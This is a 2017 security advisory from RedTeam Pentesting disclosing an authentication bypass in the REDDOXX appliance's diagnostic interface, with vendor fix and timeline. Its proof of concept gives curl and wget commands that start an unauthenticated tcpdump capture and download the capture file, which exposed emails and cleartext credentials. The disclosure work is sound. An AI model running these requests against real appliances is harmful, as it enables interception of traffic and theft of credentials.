[RT-SA-2017-008] Unauthenticated Access to Diagnostic Functions in REDDOXX Appliance

--3uo+9/B/ebqu+fSQ
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Advisory: Unauthenticated Access to Diagnostic Functions in REDDOXX Applian=
ce

RedTeam Pentesting discovered a vulnerability which allows attackers
unauthenticated access to the diagnostic functions of the administrative
interface of the REDDOXX appliance. The functions allow, for example, to
capture network traffic on the appliances interfaces.


Details
=3D=3D=3D=3D=3D=3D=3D

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-008
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=3DGENERIC-MAP-NOMAT=
CH


Introduction
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
=66rom our clients=E2=80=99 requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendors homepage)


More Details
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The administrative interface of the REDDOXX appliance [0] offers several
diagnostic tools in the "Diagnostic Center". Tcpdump is one of these
tools. This tool can be used to capture network traffic on local
interfaces.

During a penetration test, it was discovered that this function, as well
as the other diagnostic functions, does not require authentication.


Proof of Concept
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The following curl command-line can be used to start the capture
process:

------------------------------------------------------------------------
$ curl --include --silent -H Content-Type: application/json 
--data-binary {"Name":"Tcpdump","Parameter":{"host":"","port":""}} 
http://www.example.com/api/v1/rws/diagnose/start
HTTP/1.1 200 OK
Date: Thu, 18 May 2017 14:58:22 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
[...]
Content-Length: 0
Content-Type: application/xml
------------------------------------------------------------------------

The following curl command-line stops the capture process:

------------------------------------------------------------------------
$ curl --include --silent -H Content-Type: application/json 
--data-binary {"Name":"Tcpdump"} 
http://www.example.com/api/v1/rws/diagnose/stop
HTTP/1.1 200 OK
Date: Thu, 18 May 2017 15:00:17 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
[...]
Content-Length: 0
Content-Type: application/xml
------------------------------------------------------------------------

After the capture process is complete, the resulting capture file can be
downloaded without authentication:

------------------------------------------------------------------------
$ wget http://www.example.com/rws/resources/diagnosemanager/tcpdump.cap
[...]
Connecting to www.example.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1801530 (1.7M) [application/vnd.tcpdump.pcap]
Saving to: =E2=80=98tcpdump.cap=E2=80=99
tcpdump.cap 100%[=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>]
1.72M [...]
2017-05-18 17:01:36 (34.1 MB/s) - =E2=80=98tcpdump.cap=E2=80=99 saved [1801=
530/1801530]
------------------------------------------------------------------------

None of these requests contain any credentials or cookies, which could
provide authentication.


Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

None


Fix
=3D=3D=3D

Update the appliance software to Version 2032 SP2.


Security Risk
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The diagnostic functions of the REDDOXX appliance can be used without
authentication. This allows attackers to, for example, capture network
traffic. During a penetration test it was possible to capture multiple
emails and also POP3 login attempts with cleartext credentials. This is
rated as a high risk.


Timeline
=3D=3D=3D=3D=3D=3D=3D=3D

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

[0] https://www.reddoxx.com/en/


RedTeam Pentesting GmbH
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D

RedTeam Pentesting GmbH is looking for more penetration testers to join
our team. If you are interested in working for RedTeam Pentesting in
Aachen, please visit the respective section of our website.

--=20
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Gesch=C3=A4ftsf=C3=BChrer:                       Patrick Hof, Jens Liebchen

--3uo+9/B/ebqu+fSQ
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAABCgAGBQJZdfzXAAoJENG/HXWsgFSuw8MH/RiyerOXuOepu9QcO9F30N/u
GKuKfDI9m8PHbo+Efe8cSDYf3sMh9I5C/7UmcqRCo9XthecdipKzGX9IcEaiB5Qh
NVKRcm9zfir0I0M5caUGxOvIrd1bBE+lZ/39JJdUvQNobf6Pjbh6mRgr4fcD4pAg
ElXOIIaq2wahqVTi23i3wWrimOWJeo8+wdp+EF1uq/F5q/owpcHCcO7iU8QEyEAn
jW0jcfrMN2BZGsMQ9cpFhT71w18NbW7TCwVr++/h2VTe0eQZShm3osAs01ZNoG3f
+AMKFG07hndbjfuRIQHJnc+O1ARnK/35UhFyqPI1nZ8se3xF03W8LX7V+q4nap8=
=4F5h
-----END PGP SIGNATURE-----

--3uo+9/B/ebqu+fSQ--